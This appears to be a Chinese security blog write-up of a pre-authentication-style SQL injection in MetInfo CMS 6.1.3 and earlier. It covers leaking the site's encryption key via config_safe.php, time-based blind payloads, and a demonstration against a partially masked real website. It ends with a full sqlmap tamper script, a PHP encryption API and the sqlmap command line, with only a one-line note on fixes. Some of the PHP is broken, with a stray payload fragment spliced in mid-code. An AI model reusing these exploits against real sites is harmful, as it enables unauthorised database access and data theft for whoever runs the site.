metinfo<=6.1.3前臺SQL注入
metinfo<=6.1.3前臺SQL注入
需要會員許可權
對伺服器版本有限制【PHP-TS】
0x01 前言
看到 某info <= 6.1.3前臺getshell 後決定發出來 (裡面沒說前臺注入啊【手動狗頭】)
0x02 程式碼分析
定位到 /member/basic.php
檔案,程式碼如下:
看到這種樣式的,我們就聯想到了 MVC
框架,類似 Tp
、 CI
、 YII
,不過這是metinfo內建的框架,框架目錄主要位於 /app/system
中,每個資料夾都是一個家目錄,我們主要定位到 /app/system/user/web/profile.class.php
中的 dosafety_emailadd
方法:
148 Line 使用global關鍵字引入全域性變數$_M 149 Line判斷外部傳入的$_COOKIE or $_POST or $_GET引數p是否為真 150 Line載入了auth類並例項化賦值給$auth 151 Line將$_M['form']['p']傳入auth類中的decode方法解密並賦值給$email 152 Line判斷$email是否為真 153 Line將$_M['user']['id']、$email傳入$this->userclass類中的editor_uesr_email方法
目前我們只需要看這麼多就好啦!我們接著來分析這個 auth
類,定位到 /app/system/include/class/auth.class.php
176 Line使用global關鍵字將全域性變數$_M引入到當前方法中 177 Line判斷傳入的引數$userid是否為假 180 Line將傳入的引數$email傳入到當前類中的get_user_by_email方法並判斷返回值是否為真
進入 get_user_by_email
方法中:
622 Line呼叫Load類中的靜態方法is_plugin_exist判斷doemail外掛是否存在並將返回值賦予$isplugin 625 Line判斷$isplugin是否為真 635 Line判斷$emailres為真或者全等於NULL的情況下那麼進入判斷 636 Line呼叫當前類中的get_user_by_emailid靜態方法
接著進入 get_user_by_emailid
靜態方法:
到這個方法之後,它直接將我們傳入的 $email
拼接到了SQL語句中,從而產生了SQL注入
0x03 程式碼除錯
在 dosafety_emailadd
方法中輸入如下語句並且改變一下語句順序:
在 get_user_by_emailid
輸入如下語句:
接下來訪問下url:
http://localhost:8081/member/basic.php?a=dosafety_emailadd
可以看到程式成功將 123
拼接到了SQL語句中,哈哈,萬事大吉,但是程式最終返回的僅僅是true or false所以這裡我們要用到延時注入,最終Payload如下:
再次訪問
http://localhost:8081/member/basic.php?a=dosafety_emailadd
五秒以上才反應過來,程式是不是有點傻哦!正應了我們的延時盲注,接著我們將這段加密輸出了之後再整吧!
再次訪問
http://localhost:8081/member/basic.php?a=dosafety_emailadd
接著訪問:
http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
又是過了很久才出來。。。
0x04 漏洞復現
http://www.d******re.com/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
除錯半天發現是key的問題 key在 /config/config_safe.php
,開啟檔案是這樣的:
就在這裡我做了一個大膽的假設,直接訪問然後審查元素看看被註釋的東西是否存在
訪問:
view-source:http://localhost:8081/config/config_safe.php
這裡是PHP版本的問題,在phpstudy中有兩種大版本,PHP-nts(非執行緒安全)、PHP-ts(執行緒安全)
nts版本的PHP會顯示如下內容
而ts版本如下:
這就意味著這個洞只能用於ts版本了 各位師傅如果有什麼新發現來討論一波可好?
接著我們把auth這個類複製出來,我們應用到加密去:
這個類中我們需要修改兩處才能正常使用:
8 Line $this->auth_key中的值替換成獲取到的key 31 Line $key = md5($key);
Over,我們來看看實際站點能否獲取到它的key:
view-source:http://www.d****re.com/config/config_safe.php
把我用紅色框框圈起來的放到需要替換key的那裡去,接著實力化這個類,加密後再用url編碼:
再訪問:
http://www.d******e.com/member/basic.php?a=dosafety_emailadd&p=204eUixfyB1n2wh835QWkft%2F58n7Pbp2MgtdHLzL%2FCq55OGuDERix7KJfSE4dGNLKrCziXTr3U4GFyQi9LP1rLinR1JPFZWMASBEMQZ%2Fdrmg9eXwrzNkcmJWHn75LZpH3j6X
至此漏洞利用結束
0x05 漏洞修復
對於這裡的修復就比較好了,metinfo函式庫已經很成熟了,比如 inject_check
(存在被繞過風險)、 daddslashes
0x06 temper編寫
需要注意將SQLMAP傳入的payload通過api介面返回加密後的字串進行處理
#!/usr/bin/env python """ Metinfo V6.1.3 """ from lib.core.enums import PRIORITY from sys import argv import urllib2 __priority__ = PRIORITY.LOWEST api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2" key_name = "/config/config_safe.php" def dependencies(): pass def tamper(payload, **kwargs): global api_url url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","") send_key(url) res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload))) if res["code"] == 200: return res["text"] def send_key(url): global api_url,key_name res = request(url+key_name) if(res["code"] == 200): if(len(res["text"])>0): api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>","")) else: print "[-] URL can not be used. " exit() def request(url): request = urllib2.Request(url) request.add_header('Content-Type', 'application/x-www-form-urlencoded') response = urllib2.urlopen(request) return {"code":response.getcode(),"text":response.read()}
儲存為py檔案 供sqlmap呼叫
<?php //作為api,方便呼叫,over class auth { public $auth_key; public function __construct($key) { $this->auth_key = $key; } public function decode($str, $key = ''){ return $this->authcode($str, 'DECODE', $this->auth_key.$key); } public function encode($str, $key = '', $time = 0){ return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time); } public function creatkey($length = '10'){ $str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmNlPkQjRiShTgUfVeWdXcYbZa"; $result=""; for($i=0;$i<$length;$i++){ $num[$i]=rand(0,25); $result.=$str[$num[$i]]; } return $result; } public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){ $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } }else{ return $keyc.str_replace('=', '', base64_encode($result)); } } } if(length(user())>=10,sleep(5),0);#" if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"])) { $auth = new auth($_REQUEST["key"]); } else { exit("[-] Please input key."); } if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"])) { // var_dump($auth->encode("[email protected]' or username='username' and if(length(user())>=10,sleep(5),0);#")); // var_dump(urldecode($_REQUEST["encodestr"])); exit($auth->encode(urldecode($_REQUEST["encodestr"]))); } else { exit("[-] Please enter encrypted string."); } ?>
儲存為php檔案 跑起來供上面的temper呼叫。(注意修改程式碼中的使用者名稱為自己註冊的使用者名稱)
sqlmap:
sqlmap -u "http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=*" --cookie "會員cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
Over,剩下的自己琢磨。